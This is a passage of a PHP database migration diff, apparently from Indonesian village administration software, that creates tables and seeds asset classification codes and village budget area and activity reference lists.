LAINNYA', + ], + [ + 'id_aset' => 4232, + 'golongan' => '6', + 'bidang' => '06', + 'kelompok' => '00', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'ASET TETAP DALAM RENOVASI', + ], + [ + 'id_aset' => 4233, + 'golongan' => '6', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'ASET TETAP DALAM RENOVASI', + ], + [ + 'id_aset' => 4234, + 'golongan' => '6', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'ASET TETAP DALAM RENOVASI', + ], + [ + 'id_aset' => 4235, + 'golongan' => '6', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'TANAH DALAM RENOVASI', + ], + [ + 'id_aset' => 4236, + 'golongan' => '6', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '002', + 'nama' => 'PERALATAN DAN MESIN DALAM RENOVASI', + ], + [ + 'id_aset' => 4237, + 'golongan' => '6', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '003', + 'nama' => 'GEDUNG DAN BANGUNAN DALAM RENOVASI', + ], + [ + 'id_aset' => 4238, + 'golongan' => '6', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '004', + 'nama' => '\"JALAN', + ], + [ + 'id_aset' => 4239, + 'golongan' => '6', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '005', + 'nama' => 'ASET TETAP LAINNYA DALAM RENOVASI', + ], + [ + 'id_aset' => 4240, + 'golongan' => '6', + 'bidang' => '06', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'ASET TETAP DALAM RENOVASI LAINNYA', + ], + [ + 'id_aset' => 4241, + 'golongan' => '7', + 'bidang' => '00', + 'kelompok' => '00', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'KONSTRUKSI DALAM PENGERJAAN', + ], + [ + 'id_aset' => 4242, + 'golongan' => '7', + 'bidang' => '01', + 'kelompok' => '00', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'KONSTRUKSI DALAM PENGERJAAN', + ], + [ + 'id_aset' => 4243, + 'golongan' => '7', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'KONSTRUKSI DALAM PENGERJAAN', + ], + [ + 'id_aset' => 4244, + 'golongan' => '7', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'KONSTRUKSI DALAM PENGERJAAN', + ], + [ + 'id_aset' => 4245, + 'golongan' => '7', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'TANAH DALAM PENGERJAAN', + ], + [ + 'id_aset' => 4246, + 'golongan' => '7', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '002', + 'nama' => 'PERALATAN DAN MESIN DALAM PENGERJAAN', + ], + [ + 'id_aset' => 4247, + 'golongan' => '7', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '003', + 'nama' => 'GEDUNG DAN BANGUNAN DALAM PENGERJAAN', + ], + [ + 'id_aset' => 4248, + 'golongan' => '7', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '004', + 'nama' => '\"JALAN', + ], + [ + 'id_aset' => 4249, + 'golongan' => '7', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '005', + 'nama' => 'ASET TETAP LAINNYA DALAM PENGERJAAN', + ], + [ + 'id_aset' => 4250, + 'golongan' => '7', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'KONSTRUKSI DALAM PENGERJAAN LAINNYA', + ], + ]); + } + + private function tabel_buku_admin() + { + DB::statement(' + CREATE TABLE `kader_pemberdayaan_masyarakat` ( + `id` int(12) unsigned NOT NULL AUTO_INCREMENT, + `penduduk_id` int(12) NOT NULL, + `kursus` text DEFAULT NULL, + `bidang` text DEFAULT NULL, + `keterangan` text DEFAULT NULL, + PRIMARY KEY (`id`) + ); + '); + } + + private function tabel_keuangan() + { + DB::statement(' + CREATE TABLE `keuangan_manual_ref_bidang` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `Kd_Bid` varchar(50) NOT NULL, + `Nama_Bidang` varchar(250) NOT NULL, + PRIMARY KEY (`id`) + ); + '); + + DB::table('keuangan_manual_ref_bidang')->insert([ + [ + 'id' => 1, + 'Kd_Bid' => '00.0000.01', + 'Nama_Bidang' => 'BIDANG PENYELENGGARAN PEMERINTAHAN DESA', + ], + [ + 'id' => 2, + 'Kd_Bid' => '00.0000.02', + 'Nama_Bidang' => 'BIDANG PELAKSANAAN PEMBANGUNAN DESA', + ], + [ + 'id' => 3, + 'Kd_Bid' => '00.0000.03', + 'Nama_Bidang' => 'BIDANG PEMBINAAN KEMASYARAKATAN DESA', + ], + [ + 'id' => 4, + 'Kd_Bid' => '00.0000.04', + 'Nama_Bidang' => 'BIDANG PEMBERDAYAAN MASYARAKAT DESA', + ], + [ + 'id' => 5, + 'Kd_Bid' => '00.0000.05', + 'Nama_Bidang' => 'BIDANG PENANGGULANGAN BENCANA, DARURAT DAN MENDESAK DESA', + ], + ]); + + DB::statement(' + CREATE TABLE `keuangan_manual_ref_kegiatan` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `ID_Keg` varchar(100) NOT NULL, + `Nama_Kegiatan` varchar(250) NOT NULL, + PRIMARY KEY (`id`) + ); + '); + + DB::table('keuangan_manual_ref_kegiatan')->insert([ + [ + 'id' => 1, + 'ID_Keg' => '01.01.01.', + 'Nama_Kegiatan' => 'Penyediaan Penghasilan Tetap dan Tunjangan Kepala Desa', + ], + [ + 'id' => 2, + 'ID_Keg' => '01.01.02.', + 'Nama_Kegiatan' => 'Penyediaan Penghasilan Tetap dan Tunjangan Perangkat Desa', + ], + [ + 'id' => 3, + 'ID_Keg' => '01.01.03.', + 'Nama_Kegiatan' => 'Penyediaan Jaminan Sosial bagi Kepala Desa dan Perangkat Desa', + ], + [ + 'id' => 4, + 'ID_Keg' => '01.01.04.', + 'Nama_Kegiatan' => 'Penyediaan Operasional Pemerintah Desa (ATK, Honor PKPKD dan PPKD dll)', + ], + [ + 'id' => 5, + 'ID_Keg' => '01.01.05.', + 'Nama_Kegiatan' => 'Penyediaan Tunjangan BPD', + ], + [ + 'id' => 6, + 'ID_Keg' => '01.01.06.', + 'Nama_Kegiatan' => 'Penyediaan Operasional BPD (rapat, ATK, Makan Minum, Pakaian Seragam, Listrik dll)', + ], + [ + 'id' => 7, + 'ID_Keg' => '01.01.07.', + 'Nama_Kegiatan' => 'Penyediaan Insentif/Operasional RT/RW', + ], + [ + 'id' => 8, + 'ID_Keg' => '01.01.92', + 'Nama_Kegiatan' => 'Lain-lain Sub Bidang Siltap dan Operasional Pemerintahan Desa', + ], + [ + 'id' => 9, + 'ID_Keg' => '01.02.01.', + 'Nama_Kegiatan' => 'Penyediaan Sarana (Aset Tetap) Perkantoran/Pemerintahan', + ], + [ + 'id' => 10, + 'ID_Keg' => '01.02.02.', + 'Nama_Kegiatan' => 'Pemeliharaan Gedung/Prasarana Kantor Desa', + ], + [ + 'id' => 11, + 'ID_Keg' => '01.02.03.', + 'Nama_Kegiatan' => 'Pembangunan/Rehabilitasi/Peningkatan Gedung/Prasarana Kantor Desa **)', + ], + [ + 'id' => 12, + 'ID_Keg' => '01.02.90', + 'Nama_Kegiatan' => 'Lain-lain Sub Bidang Sarana Prasarana Pemerintahan Desa', + ], + [ + 'id' => 13, + 'ID_Keg' => '01.03.01.', + 'Nama_Kegiatan' => 'Pelayanan Administrasi Umum dan Kependudukan', + ], + [ + 'id' => 14, + 'ID_Keg' => '01.03.02.', + 'Nama_Kegiatan' => 'Penyusunan, Pendataan, dan Pemutakhiran Profil Desa **)', + ], + [ + 'id' => 15, + 'ID_Keg' => '01.03.03.', + 'Nama_Kegiatan' => 'Pengelolaan Adminstrasi dan Kearsipan Pemerintahan Desa', + ], + [ + 'id' => 16, + 'ID_Keg' => '01.03.04.', + 'Nama_Kegiatan' => 'Penyuluhan dan Penyadaran Masyarakat tentang Kependudukan dan Capil', + ], + [ + 'id' => 17, + 'ID_Keg' => '01.03.05.', + 'Nama_Kegiatan' => 'Pemetaan dan Analisis Kemiskinan Desa secara Partisipatif', + ], + [ + 'id' => 18, + 'ID_Keg' => '01.03.90', + 'Nama_Kegiatan' => 'Lain-lain Sub Bidang Administrasi Kependudukan, Capil, Statistik dan Kearsipan', + ], + [ + 'id' => 19, + 'ID_Keg' => '01.04.01.', + 'Nama_Kegiatan' => 'Penyelenggaraan Musyawarah Perencanaan Desa/Pembahasan APBDes (Reguler)', + ], + [ + 'id' => 20, + 'ID_Keg' => '01.04.02.', + 'Nama_Kegiatan' => 'Penyelenggaraan Musyawaran Desa Lainnya (Musdus, rembug desa Non Reguler)', + ], + [ + 'id' => 21, + 'ID_Keg' => '01.04.03.', + 'Nama_Kegiatan' => 'Penyusunan Dokumen Perencanaan Desa (RPJMDesa/RKPDesa dll)', + ], + [ + 'id' => 22, + 'ID_Keg' => '01.04.04.', + 'Nama_Kegiatan' => 'Penyusunan Dokumen Keuangan Desa (APBDes, APBDes Perubahan, LPJ dll)', + ], + [ + 'id' => 23, + 'ID_Keg' => '01.04.05.', + 'Nama_Kegiatan' => 'Pengelolaan Administrasi/ Inventarisasi/Penilaian Aset Desa', + ], + [ + 'id' => 24, + 'ID_Keg' => '01.04.06.', + 'Nama_Kegiatan' => 'Penyusunan Kebijakan Desa (Perdes/Perkades selain Perencanaan/Keuangan)', + ], + [ + 'id' => 25, + 'ID_Keg' => '01.04.07.', + 'Nama_Kegiatan' => 'Penyusunan Laporan Kepala Desa, LPPDesa dan Informasi Kepada Masyarakat', + ], + [ + 'id' => 26, + 'ID_Keg' => '01.04.08.', + 'Nama_Kegiatan' => 'Pengembangan Sistem Informasi Desa', + ], + [ + 'id' => 27, + 'ID_Keg' => '01.04.09.', + 'Nama_Kegiatan' => 'Koordinasi/Kerjasama Penyelenggaraan Pemerintahan & Pembangunan Desa', + ], + [ + 'id' => 28, + 'ID_Keg' => '01.04.10.', + 'Nama_Kegiatan' => 'Dukungan & Sosialisasi Pelaksanaan Pilkades, Pemilihan Ka. Kewilayahan & BPD', + ], + [ + 'id' => 29, + 'ID_Keg' => '01.04.11.', + 'Nama_Kegiatan' => 'Penyelenggaran Lomba antar Kewilayahan & Pengiriman Kontingen dlm Lomdes', + ], + [ + 'id' => 30, + 'ID_Keg' => '01.04.97', + 'Nama_Kegiatan' => 'Lain-lain Sub Bidang Tata Praja Pemerintahan, Perencanaan, Keuangan & Pelaporan', + ], + [ + 'id' => 31, + 'ID_Keg' => '01.05.01.', + 'Nama_Kegiatan' => 'Sertifikasi Tanah Kas Desa', + ], + [ + 'id' => 32, + 'ID_Keg' => '01.05.02.', + 'Nama_Kegiatan' => 'Administrasi Pertanahan (Pendaftaran Tanah dan Pemberian Registrasi Agenda Pertanahan)', + ], + [ + 'id' => 33, + 'ID_Keg' => '01.05.03.', + 'Nama_Kegiatan' => 'Fasilitasi Sertifikasi Tanah untuk Masyarakat Miskin', + ], + [ + 'id' => 34, + 'ID_Keg' => '01.05.04.', + 'Nama_Kegiatan' => 'Kegiatan Mediasi Konflik Pertanahan', + ], + [ + 'id' => 35, + 'ID_Keg' => '01.05.05.', + 'Nama_Kegiatan' => 'Kegiatan Penyuluhan Pertanahan', + ], + [ + 'id' => 36, + 'ID_Keg' => '01.05.06.', + 'Nama_Kegiatan' => 'Adminstrasi Pajak Bumi dan Bangunan (PBB)', + ], + [ + 'id' => 37, + 'ID_Keg' => '01.05.07.', + 'Nama_Kegiatan' => 'Penentuan/Penegasan Batas/patok Tanah Kas Desa', + ], + [ + 'id' => 38, + 'ID_Keg' => '01.05.94', + 'Nama_Kegiatan' => 'Lain-lain Sub Bidang Pertanahan', + ], + [ + 'id' => 39, + 'ID_Keg' => '02.01.01', + 'Nama_Kegiatan' => 'Penyelenggaran PAUD/TK/TPA/TKA/TPQ/Madrasah NonFormal Milik Desa (Honor, Pakaian dll)', + ], + [ + 'id' => 40, + 'ID_Keg' => '02.01.02.', + 'Nama_Kegiatan' => 'Dukungan Penyelenggaran PAUD (APE, Sarana PAUD dst)', + ], + [ + 'id' => 41, + 'ID_Keg' => '02.01.03.', + 'Nama_Kegiatan' => 'Penyuluhan dan Pelatihan Pendidikan Bagi Masyarakat', + ], + [ + 'id' => 42, + 'ID_Keg' => '02.01.04.', + 'Nama_Kegiatan' => 'Pemeliharaan Sarana Prasarana Perpustakaan/Taman Bacaan/Sanggar Belajar Milik Desa', + ], + [ + 'id' => 43, + 'ID_Keg' => '02.01.05.', + 'Nama_Kegiatan' => 'Pemeliharaan Sarana Prasarana PAUD/TK/TPA/TKA/TPQ/Madrasah Nonformal Milik Desa', + ], + [ + 'id' => 44, + 'ID_Keg' => '02.01.08.', + 'Nama_Kegiatan' => 'Pengelolaan Perpustakaan Milik Desa (Pengadaan Buku, Honor, Taman Baca)', + ], + [ + 'id' => 45, + 'ID_Keg' => '02.01.09.', + 'Nama_Kegiatan' => 'Pengembangan dan Pembinaan Sanggar Seni dan Belajar', + ], + [ + 'id' => 46, + 'ID_Keg' => '02.01.10.', + 'Nama_Kegiatan' => 'Dukungan Pendidikan bagi Siswa Miskin/Berprestasi', + ], + [ + 'id' => 47, + 'ID_Keg' => '02.01.92', + 'Nama_Kegiatan' => 'Lain-lain Kegiatan Sub Bidang Pendidikan', + ], + [ + 'id' => 48, + 'ID_Keg' => '02.02.01.', + 'Nama_Kegiatan' => 'Penyelenggaraan Pos Kesehatan Desa/Polindes Milik Desa (obat, Insentif, KB, dsb)', + ], + [ + 'id' => 49, + 'ID_Keg' => '02.02.02.', + 'Nama_Kegiatan' => 'Penyelenggaraan Posyandu (Mkn Tambahan, Kls Bumil, Lamsia, Insentif)', + ], + [ + 'id' => 50, + 'ID_Keg' => '02.02.03.', + 'Nama_Kegiatan' => 'Penyuluhan dan Pelatihan Bidang Kesehatan (Untuk Masy, Tenaga dan Kader Kesehatan dll)', + ], + [ + 'id' => 51, + 'ID_Keg' => '02.02.04.', + 'Nama_Kegiatan' => 'Penyelenggaraan Desa Siaga Kesehatan', + ], + [ + 'id' => 52, + 'ID_Keg' => '02.02.05.', + 'Nama_Kegiatan' => 'Pembinaan Palang Merah Remaja (PMR) Tingkat Desa', + ], + [ + 'id' => 53, + 'ID_Keg' => '02.02.06.', + 'Nama_Kegiatan' => 'Pengasuhan Bersama atau Bina Keluarga Balita (BKB)', + ], + [ + 'id' => 54, + 'ID_Keg' => '02.02.07.', + 'Nama_Kegiatan' => 'Pembinaan dan Pengawasan Upaya Kesehatan Tradisional', + ], + [ + 'id' => 55, + 'ID_Keg' => '02.02.08.', + 'Nama_Kegiatan' => 'Pemeliharaan Sarana Prasarana Posyandu/Polindes/PKD', + ], + [ + 'id' => 56, + 'ID_Keg' => '02.03.01.', + 'Nama_Kegiatan' => 'Pemeliharaan Jalan Desa', + ], + [ + 'id' => 57, + 'ID_Keg' => '02.03.02.', + 'Nama_Kegiatan' => 'Pemeliharaan Jalan Lingkungan Pemukiman/Gang', + ], + [ + 'id' => 58, + 'ID_Keg' => '02.03.03.', + 'Nama_Kegiatan' => 'Pemeliharaan Jalan Usaha Tani', + ], + [ + 'id' => 59, + 'ID_Keg' => '02.03.04.', + 'Nama_Kegiatan' => 'Pemeliharaan Jembatan Desa', + ], + [ + 'id' => 60, + 'ID_Keg' => '02.03.05.', + 'Nama_Kegiatan' => 'Pemeliharaan Prasarana Jalan Desa (Gorong-gorong/Selokan/Parit/Drainase dll)', + ], + [ + 'id' => 61, + 'ID_Keg' => '02.03.06.', + 'Nama_Kegiatan' => 'Pemeliharaan Gedung/Prasarana Balai Desa/Balai Kemasyarakatan', + ], + [ + 'id' => 62, + 'ID_Keg' => '02.03.07.', + 'Nama_Kegiatan' => 'Pemeliharaan Pemakaman /Situs Bersejarah/Petilasan Milik Desa', + ], + [ + 'id' => 63, + 'ID_Keg' => '02.03.08.', + 'Nama_Kegiatan' => 'Pemeliharaan Embung Milik Desa', + ], + [ + 'id' => 64, + 'ID_Keg' => '02.03.09.', + 'Nama_Kegiatan' => 'Pemelharaan Monumen/Gapura/Batas Desa', + ], + [ + 'id' => 65, + 'ID_Keg' => '02.03.10.', + 'Nama_Kegiatan' => 'Pembangunan/Rehabilitas/Peningkatan/Pengerasan Jalan Desa **)', + ], + [ + 'id' => 66, + 'ID_Keg' => '02.03.12.', + 'Nama_Kegiatan' => 'Pembangunan/Rehabilitasi/Peningkatan/Pengerasan Jalan Usaha Tani **)', + ], + [ + 'id' => 67, + 'ID_Keg' => '02.03.13.', + 'Nama_Kegiatan' => 'Pembangunan/Rehabilitasi/Peningkatan/Pengerasan Jembatan Milik Desa **)', + ], + [ + 'id' => 68, + 'ID_Keg' => '02.03.14.', + 'Nama_Kegiatan' => 'Pembangunan/Rehabilitasi/Peningkatan Prasarana Jalan Desa (Gorong, selokan dll)', + ], + [ + 'id' => 69, + 'ID_Keg' => '02.03.15.', + 'Nama_Kegiatan' => 'Pembangunan/Rehabilitasi/Peningkatan Balai Desa/Balai Kemasyarakatan **)', + ], + [ + 'id' => 70, + 'ID_Keg' => '02.03.17.', + 'Nama_Kegiatan' => 'Pembuatan/Pemutakhiran Peta Wilayah dan Sosial Desa **)', + ], + [ + 'id' => 71, + 'ID_Keg' => '02.03.18.', + 'Nama_Kegiatan' => 'Penyusunan Dokumen Perencanaan Tata Ruang Desa', + ], + [ + 'id' => 72, + 'ID_Keg' => '02.03.19.', + 'Nama_Kegiatan' => 'Pembangunan/Rehabilitasi/Peningkatan Embung Desa **)', + ], + [ + 'id' => 73, + 'ID_Keg' => '02.03.20.', + 'Nama_Kegiatan' => 'Pembangunan/Rehabilitasi/Peningkatan Monumen/Gapura/Batas Desa **)', + ], + [ + 'id' => 74, + 'ID_Keg' => '02.04.01.', + 'Nama_Kegiatan' => 'Dukungan Pelaksanaan Program Pembangunan/Rehab Rumah Tidak Layak Huni GAKIN', + ], + [ + 'id' => 75, + 'ID_Keg' => '02.04.90', + 'Nama_Kegiatan' => 'Dukungan Pelaksanaan Program Jambanisasi untuk Keluarga Miskin', + ], + [ + 'id' => 76, + 'ID_Keg' => '02.04.02.', + 'Nama_Kegiatan' => 'Pemeliharaan Sumur Resapan Milik Desa', + ], + [ + 'id' => 77, + 'ID_Keg' => '02.04.03.', + 'Nama_Kegiatan' => 'Pemeliharaan Sumber Air Bersih Milik Desa (Mata Air, Penampung Air, Sumur Bor dll)', + ], + [ + 'id' => 78, + 'ID_Keg' => '02.04.04.', + 'Nama_Kegiatan' => 'Pemeliharaan Sambungan Air Bersih ke Rumah Tangga (Pipanisasi dll)', + ], + [ + 'id' => 79, + 'ID_Keg' => '02.04.05.', + 'Nama_Kegiatan' => 'Pemeliharaan Sanitasi Pemukiman (Gorong-gorong, Selokan, Parit diluar Prasarana Jalan))', + ], + [ + 'id' => 80, + 'ID_Keg' => '02.04.06.', + 'Nama_Kegiatan' => 'Pemeliharaan Fasilitas Jamban Umum/MCK Umum dll', + ], + [ + 'id' => 81, + 'ID_Keg' => '02.04.08.', + 'Nama_Kegiatan' => 'Pemeliharaan Sistem Pembuangan Air Limbah (Drainase, Air limbah Rumah Tangga)', + ], + [ + 'id' => 82, + 'ID_Keg' => '02.04.09.', + 'Nama_Kegiatan' => 'Pemeliharaan Taman/Taman Bermain Anak Milik Desa', + ], + [ + 'id' => 83, + 'ID_Keg' => '02.04.10.', + 'Nama_Kegiatan' => 'Pembangunan/Rehabilitasi/Peningkatan Sumur Resapan **)', + ], + [ + 'id' => 84, + 'ID_Keg' => '02.04.11.', + 'Nama_Kegiatan' => 'Pembangunan/Rehabilitasi/Peningkatan Sumber Air Bersih Milik Desa **)', + ], + [ + 'id' => 85, + 'ID_Keg' => '02.04.12.', + 'Nama_Kegiatan' => 'Pembangunan/Rehabilitasi/Peningkatan Sambungan Air Bersih ke Rumah Tangga **)', + ], + [ + 'id' => 86, + 'ID_Keg' => '02.04.13.', + 'Nama_Kegiatan' => 'Pembangunan/Rehabilitasi/Peningkatan Sanitasi Permukiman **)', + ], + [ + 'id' => 87, + 'ID_Keg' => '02.04.14.', + 'Nama_Kegiatan' => 'Pembangunan/Rehabilitas/Peningkatan Fasilitas Jamban Umum/MCK umum, dll **)', + ], + [ + 'id' => 88, + 'ID_Keg' => '02.04.15.', + 'Nama_Kegiatan' => 'Pembangunan/Rehabilitasi/Peningkatan Fasilitas Pengelolaan Sampah **)', + ], + [ + 'id' => 89, + 'ID_Keg' => '02.04.16.', + 'Nama_Kegiatan' => 'Pembangunan/Rehabilitasi/Peningkatan Sistem Pembuangan Air Limbah **)', + ], + [ + 'id' => 90, + 'ID_Keg' => '02.04.17.', + 'Nama_Kegiatan' => 'Pembangunan/Rehabilitasi/Peningkatan Taman/Taman Bermain Anak Milik Desa **)', + ], + [ + 'id' => 91, + 'ID_Keg' => '02.04.94', + 'Nama_Kegiatan' => 'Lain-lain Kegiatan Sub Bidang Perumahan Rakyat dan Kawasan Pemukiman', + ], + [ + 'id' => 92, + 'ID_Keg' => '02.05.01.', + 'Nama_Kegiatan' => 'Pengelolaan Hutan Milik Desa', + ], + [ + 'id' => 93, + 'ID_Keg' => '02.05.02.', + 'Nama_Kegiatan' => 'Pengelolaan Lingkungan Hidup Milik Desa', + ], + [ + 'id' => 94, + 'ID_Keg' => '02.05.92', + 'Nama_Kegiatan' => 'Lain-lain Kegiatan Sub Bidang Kehutanan dan Lingkungan Hidup', + ], + [ + 'id' => 95, + 'ID_Keg' => '02.06.01.', + 'Nama_Kegiatan' => 'Pembuatan Rambu-rambu di Jalan Desa', + ], + [ + 'id' => 96, + 'ID_Keg' => '02.06.02.', + 'Nama_Kegiatan' => 'Penyelenggaraan Informasi Publik Desa (Poster, Baliho Dll)', + ], + [ + 'id' => 97, + 'ID_Keg' => '02.06.03.', + 'Nama_Kegiatan' => 'Pembuatan dan Pengelolaan Jaringan/Instalasi Komunikasi dan Informasi Lokal Desa', + ], + [ + 'id' => 98, + 'ID_Keg' => '02.06.92', + 'Nama_Kegiatan' => 'Lain-lain Kegiatan Sub Bidang Perhubungan, Komunikasi dan Informatika', + ], + [ + 'id' => 99, + 'ID_Keg' => '02.07.01.', + 'Nama_Kegiatan' => 'Pemeiliharaan Sarana dan Prasarana Energi Alternatif Desa', + ], + [ + 'id' => 100, + 'ID_Keg' => '02.07.02.', + 'Nama_Kegiatan' => 'Pembangunan/Rehabilitasi/Peningkatan Sarana & Prasarana Energi Alternatif Desa', + ], + [ + 'id' => 101, + 'ID_Keg' => '02.07.93', + 'Nama_Kegiatan' => 'Pembangunan/pengadaan instalasi biogas/mesin pakan ternak/kandang ternak**', + ], + [ + 'id' => 102, + 'ID_Keg' => '02.08.01.', + 'Nama_Kegiatan' => 'Pemeliharaan Sarana dan Prasarana Pariwisata Milik Desa', + ], + [ + 'id' => 103, + 'ID_Keg' => '02.08.02.', + 'Nama_Kegiatan' => 'Pembangunan/Rehabilitasi/Peningkatan Sarana dan Prasarana Pariwisata Milik **)', + ], + [ + 'id' => 104, + 'ID_Keg' => '02.08.03.', + 'Nama_Kegiatan' => 'Pengembangan Pariwisata Tingkat Desa', + ], + [ + 'id' => 105, + 'ID_Keg' => '02.08.91', + 'Nama_Kegiatan' => 'Lain-Lain Kegiatan Sub Bidang Pariwisata', + ], + [ + 'id' => 106, + 'ID_Keg' => '03.01.01.', + 'Nama_Kegiatan' => 'Pengadaan/Penyelenggaran Pos Keamanan Desa', + ], + [ + 'id' => 107, + 'ID_Keg' => '03.01.02.', + 'Nama_Kegiatan' => 'Penguatan & Peningkatan Kapasitas Tenaga Keamanan/Ketertiban oleh Pemdes', + ], + [ + 'id' => 108, + 'ID_Keg' => '03.01.03.', + 'Nama_Kegiatan' => 'Koordinasi Pembinaan Keamanan, Ketertiban & Perlindungan Masy. Skala Lokal Desa', + ], + [ + 'id' => 109, + 'ID_Keg' => '03.01.04.', + 'Nama_Kegiatan' => 'Persiapan Kesiapsiagaan/Tanggap Bencana Skala Lokal Desa', + ], + [ + 'id' => 110, + 'ID_Keg' => '03.01.05.', + 'Nama_Kegiatan' => 'Penyediaan Pos Kesiapsiagaan Bencana Skala Lokal Desa', + ], + [ + 'id' => 111, + 'ID_Keg' => '03.01.06.', + 'Nama_Kegiatan' => 'Bantuan Hukum Untuk Aparatur Desa dan Masyarakat Miskin', + ], + [ + 'id' => 112, + 'ID_Keg' => '03.01.92', + 'Nama_Kegiatan' => 'Lain-lain Kegiatan Sub Bidang Ketenteraman, Ketertiban Umum dan Perlindungan Masyarakat', + ], + [ + 'id' => 113, + 'ID_Keg' => '03.02.01.', + 'Nama_Kegiatan' => 'Pembinaan Group Kesenian dan Kebudayaan Tingkat Desa', + ], + [ + 'id' => 114, + 'ID_Keg' => '03.02.02.', + 'Nama_Kegiatan' => 'Pengiriman Kontingen Group Kesenian & Kebudayaan (Wakil Desa tkt. Kec/Kab/Kot)', + ], + [ + 'id' => 115, + 'ID_Keg' => '03.02.03.', + 'Nama_Kegiatan' => 'Penyelenggaran Festival Kesenian, Adat/Kebudayaan, dan Kegamaan (HUT RI, Raya Keagamaan dll)', + ], + [ + 'id' => 116, + 'ID_Keg' => '03.02.04.', + 'Nama_Kegiatan' => 'Pemeliharaan Sarana Prasarana Kebudayaan, Rumah Adat dan Kegamaan Milik Desa', + ], + [ + 'id' => 117, + 'ID_Keg' => '03.02.05.', + 'Nama_Kegiatan' => 'Pembangunan/Rehabilitasi Sarana Prasarana Kebudayaan/Rumah Adat/Kegamaan Milik Desa **)', + ], + [ + 'id' => 118, + 'ID_Keg' => '03.02.95', + 'Nama_Kegiatan' => 'Lain-lain Kegiatan Sub Bidang Kebudayaan dan Keagamaan', + ], + [ + 'id' => 119, + 'ID_Keg' => '03.03.01.', + 'Nama_Kegiatan' => 'Pengiriman Kontingen Kepemudaan & Olahraga Sebagai Wakil Desa tkt Kec/Kab/Kota', + ], + [ + 'id' => 120, + 'ID_Keg' => '03.03.02.', + 'Nama_Kegiatan' => 'Penyelenggaraan Pelatihan Kepemudaan Tingkat Desa', + ], + [ + 'id' => 121, + 'ID_Keg' => '03.03.03.', + 'Nama_Kegiatan' => 'Penyelenggaraan Festival/Lomba Kepemudaan dan Olaraga Tingkat Desa', + ], + [ + 'id' => 122, + 'ID_Keg' => '03.03.04.', + 'Nama_Kegiatan' => 'Pemeliharaan Sarana dan Prasarana Kepemudaan dan Olahraga Milik Desa', + ], + [ + 'id' => 123, + 'ID_Keg' => '03.03.05.', + 'Nama_Kegiatan' => 'Pembangunan/Rehabilitasi/Peningkatan Sarana dan Prasarana Kepemudaan & Olahraga Milik Desa', + ], + [ + 'id' => 124, + 'ID_Keg' => '03.03.06.', + 'Nama_Kegiatan' => 'Pembinaan Karangtaruna/Klub Kepemudaan/Olahraga Tingkat Desa', + ], + [ + 'id' => 125, + 'ID_Keg' => '03.03.90', + 'Nama_Kegiatan' => 'Lain-lain Kegiatan Sub Bidang Kepemudaan dan Olahraga', + ], + [ + 'id' => 126, + 'ID_Keg' => '03.04.01.', + 'Nama_Kegiatan' => 'Pembinaan Lembaga Adat', + ], + [ + 'id' => 127, + 'ID_Keg' => '03.04.02.', + 'Nama_Kegiatan' => 'Pembinaan LKMD/LPM/LPMD', + ], + [ + 'id' => 128, + 'ID_Keg' => '03.04.03.', + 'Nama_Kegiatan' => 'Pembinaan PKK', + ], + [ + 'id' => 129, + 'ID_Keg' => '03.04.04.', + 'Nama_Kegiatan' => 'Pelatihan Pembinaan Lembaga Kemasyarakatan', + ], + [ + 'id' => 130, + 'ID_Keg' => '03.04.92', + 'Nama_Kegiatan' => 'Lain-lain Sub Bidang Kelembagaan Masyarakat', + ], + [ + 'id' => 131, + 'ID_Keg' => '04.01.01.', + 'Nama_Kegiatan' => 'Pemeliharaan Karamba/Kolam Perikanan Darat Milik Desa', + ], + [ + 'id' => 132, + 'ID_Keg' => '04.01.02.', + 'Nama_Kegiatan' => 'Pemeliharaan Pelabuhan Perikanan Sungai/Kecil Milik Desa', + ], + [ + 'id' => 133, + 'ID_Keg' => '04.01.03.', + 'Nama_Kegiatan' => 'Pembangunan/Rehabilitasi/Peningkatan Karamba/Kolam Perikanan Darat Milik Desa', + ], + [ + 'id' => 134, + 'ID_Keg' => '04.01.04.', + 'Nama_Kegiatan' => 'Pembangunan/Rehabilitasi/Peningkatan Pelabuhan Perikanan Sungai/Kecil Milik Desa', + ], + [ + 'id' => 135, + 'ID_Keg' => '04.01.05.', + 'Nama_Kegiatan' => 'Bantuan Perikanan (Bibit/Pakan/dll)', + ], + [ + 'id' => 136, + 'ID_Keg' => '04.01.06.', + 'Nama_Kegiatan' => 'Bimtek/Pelatihan/Pengenalan TTG untuk Perikanan Darat/Nelayan **)', + ], + [ + 'id' => 137, + 'ID_Keg' => '04.01.94', + 'Nama_Kegiatan' => 'Lain-lain Kegiatan Sub Bidang 